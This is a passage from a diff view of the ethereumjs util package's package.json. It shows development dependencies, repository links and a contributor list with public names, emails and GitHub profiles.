"@types/node": "^16.11.7",
|
39
|
+
"@types/secp256k1": "^4.0.1",
|
40
|
+
"@types/tape": "^4.13.2",
|
41
|
+
"eslint": "^6.8.0",
|
42
|
+
"karma": "^6.3.2",
|
43
|
+
"karma-chrome-launcher": "^3.1.0",
|
44
|
+
"karma-firefox-launcher": "^2.1.0",
|
45
|
+
"karma-tap": "^4.2.0",
|
46
|
+
"karma-typescript": "^5.5.3",
|
47
|
+
"nyc": "^15.1.0",
|
48
|
+
"prettier": "^2.0.5",
|
49
|
+
"tape": "^4.10.1",
|
50
|
+
"ts-node": "^10.2.1",
|
51
|
+
"typescript": "^4.4.2"
|
52
|
+
},
|
53
|
+
"repository": {
|
54
|
+
"type": "git",
|
55
|
+
"url": "https://github.com/ethereumjs/ethereumjs-monorepo.git"
|
56
|
+
},
|
57
|
+
"homepage": "https://github.com/ethereumjs/ethereumjs-monorepo/tree/master/packages/util#readme",
|
58
|
+
"bugs": {
|
59
|
+
"url": "https://github.com/ethereumjs/ethereumjs-monorepo/issues?q=is%3Aissue+label%3A%22package%3A+util%22"
|
60
|
+
},
|
61
|
+
"contributors": [
|
62
|
+
{
|
63
|
+
"name": "Tim Coulter",
|
64
|
+
"email": "tim@timothyjcoulter.com",
|
65
|
+
"url": "https://github.com/tcoulter"
|
66
|
+
},
|
67
|
+
{
|
68
|
+
"name": "Nick Dodson",
|
69
|
+
"url": "https://github.com/SilentCicero"
|
70
|
+
},
|
71
|
+
{
|
72
|
+
"name": "Mr. Chico",
|
73
|
+
"url": "https://github.com/MrChico"
|
74
|
+
},
|
75
|
+
{
|
76
|
+
"name": "Dũng Trần",
|
77
|
+
"email": "tad88.dev@gmail.com",
|
78
|
+
"url": "https://github.com/tad88dev"
|
79
|
+
},
|
80
|
+
{
|
81
|
+
"name": "Alex Beregszaszi",
|
82
|
+
"email": "alex@rtfs.hu",
|
83
|
+
"url": "https://github.com/axic"
|
84
|
+
},
|
85
|
+
{
|
86
|
+
"name": "Taylor Gerring",
|
87
|
+
"url": "https://github.com/tgerring"
|
88
|
+
},
|
89
|
+
{
|
90
|
+
"name": "Kirill Fomichev",
|
91
|
+
"email": "fanatid@ya.ru",
|
92
|
+
"url": "https://github.com/fanatid"
|
93
|
+
},
|
94
|
+
{
|
95
|
+
"name": "kumavis",
|
96
|
+
"email": "aaron@kumavis.me",
|
97
|
+
"url": "https://github.com/kumavis"
|
98
|
+
},
|
99
|
+
{
|
100
|
+
"name": "Alexander Sinyagin",
|
101
|
+
"email": "sinyagin.alexander@gmail.com",
|
102
|
+
"url": "https://github.com/asinyagin"
|
103
|
+
}
|
104
|
+
]
|
105
|
+
}
|